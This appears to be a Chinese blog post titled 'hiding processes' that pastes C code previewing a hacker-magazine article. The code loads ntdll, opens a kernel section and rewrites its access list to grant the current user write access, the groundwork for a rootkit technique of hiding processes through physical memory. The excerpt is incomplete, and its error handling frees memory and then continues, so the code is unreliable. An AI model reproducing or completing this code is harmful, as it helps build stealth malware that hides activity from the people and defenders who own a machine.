隐藏进程

还有另外一种方法,我下了文章发表在下期<黑客防线>上,这里给你贴代码吧:)  
  #include<windows.h>  
  #include<Accctrl.h>  
  #include<Aclapi.h>  
   
  //#include"HideProcess.h"  
   
  #define   NT_SUCCESS(Status)((NTSTATUS)(Status)   >=   0)  
  #define   STATUS_INFO_LENGTH_MISMATCH   ((NTSTATUS)0xC0000004L)  
  #define   STATUS_ACCESS_DENIED   ((NTSTATUS)0xC0000022L)  
   
  typedef   LONG   NTSTATUS;  
   
  typedef   struct   _IO_STATUS_BLOCK    
  {  
          NTSTATUS   Status;  
          ULONG   Information;  
  }   IO_STATUS_BLOCK,   *PIO_STATUS_BLOCK;  
   
  typedef   struct   _UNICODE_STRING    
  {  
          USHORT   Length;  
          USHORT   MaximumLength;  
          PWSTR   Buffer;  
  }   UNICODE_STRING,   *PUNICODE_STRING;  
   
  #define   OBJ_INHERIT                                 0x00000002L  
  #define   OBJ_PERMANENT                         0x00000010L  
  #define   OBJ_EXCLUSIVE                         0x00000020L  
  #define   OBJ_CASE_INSENSITIVE         0x00000040L  
  #define   OBJ_OPENIF                                 0x00000080L  
  #define   OBJ_OPENLINK                         0x00000100L  
  #define   OBJ_KERNEL_HANDLE                 0x00000200L  
  #define   OBJ_VALID_ATTRIBUTES         0x000003F2L  
   
  typedef   struct   _OBJECT_ATTRIBUTES    
  {  
          ULONG   Length;  
          HANDLE   RootDirectory;  
          PUNICODE_STRING   ObjectName;  
          ULONG   Attributes;  
          PVOID   SecurityDescriptor;  
          PVOID   SecurityQualityOfService;  
  }   OBJECT_ATTRIBUTES,   *POBJECT_ATTRIBUTES;    
   
  typedef   NTSTATUS   (CALLBACK*   ZWOPENSECTION)(  
          OUT   PHANDLE   SectionHandle,  
          IN   ACCESS_MASK   DesiredAccess,  
          IN   POBJECT_ATTRIBUTES   ObjectAttributes  
          );  
   
  typedef   VOID   (CALLBACK*   RTLINITUNICODESTRING)(  
          IN   OUT   PUNICODE_STRING   DestinationString,  
          IN   PCWSTR   SourceString  
          );  
   
  RTLINITUNICODESTRING   RtlInitUnicodeString;  
  ZWOPENSECTION   ZwOpenSection;  
  HMODULE   g_hNtDLL   =   NULL;  
  PVOID   g_pMapPhysicalMemory   =   NULL;  
  HANDLE   g_hMPM   =   NULL;  
  OSVERSIONINFO   g_osvi;  
  //---------------------------------------------------------------------------  
   
  BOOL   InitNTDLL()//初始化,加载相关DLL,并且获得相应函数的函数指针  
  {  
          g_hNtDLL   =   LoadLibrary("ntdll.dll");  
   
          if   (NULL   ==   g_hNtDLL)  
                  return   FALSE;  
   
          RtlInitUnicodeString   =   (RTLINITUNICODESTRING)GetProcAddress(   g_hNtDLL,    
   
  "RtlInitUnicodeString");  
          ZwOpenSection   =   (ZWOPENSECTION)GetProcAddress(   g_hNtDLL,   "ZwOpenSection");  
   
          return   TRUE;  
  }  
  //---------------------------------------------------------------------------  
  VOID   CloseNTDLL()  
  {  
          if(NULL   !=   g_hNtDLL)  
  {  
  FreeLibrary(g_hNtDLL);  
  }  
   
          g_hNtDLL   =   NULL;  
  }  
  //---------------------------------------------------------------------------  
  VOID   SetPhyscialMemorySectionCanBeWrited(HANDLE   hSection)    
  {    
          PACL   pDacl                                         =   NULL;    
          PSECURITY_DESCRIPTOR   pSD         =   NULL;    
          PACL   pNewDacl   =   NULL;    
           
          DWORD   dwRes   =   GetSecurityInfo(hSection,   SE_KERNEL_OBJECT,   DACL_SECURITY_INFORMATION,   NULL,NULL,   &pDacl,   NULL,   &pSD);  
   
          if(ERROR_SUCCESS   !=   dwRes)  
          {  
   
  if(pSD)    
  {  
  LocalFree(pSD);    
  }  
  if(pNewDacl)    
  {  
  LocalFree(pNewDacl);    
  }  
          }  
   
          EXPLICIT_ACCESS   ea;    
          RtlZeroMemory(&ea,   sizeof(EXPLICIT_ACCESS));    
          ea.grfAccessPermissions   =   SECTION_MAP_WRITE;    
          ea.grfAccessMode   =   GRANT_ACCESS;    
          ea.grfInheritance=   NO_INHERITANCE;    
          ea.Trustee.TrusteeForm   =   TRUSTEE_IS_NAME;    
          ea.Trustee.TrusteeType   =   TRUSTEE_IS_USER;    
          ea.Trustee.ptstrName   =   "CURRENT_USER";    
   
          dwRes   =   SetEntriesInAcl(1,&ea,pDacl,&pNewDacl);  
           
          if(ERROR_SUCCESS   !=   dwRes)  
          {  
   
  if(pSD)    
  {  
  LocalFree(pSD);    
  }  
  if(pNewDacl)    
  {  
  LocalFree(pNewDacl);    
  }  
          }  
          dwRes   =   SetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,NULL,NULL,pNewDacl,NULL);  
           
          if(ERROR_SUCCESS   !=   dwRes)  
          {  
   
  if(pSD)    
  {  
  LocalFree(pSD);    
  }  
  if(pNewDacl)    
  {  
  LocalFree(pNewDacl);    
  }  
          }  
   
  }     
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值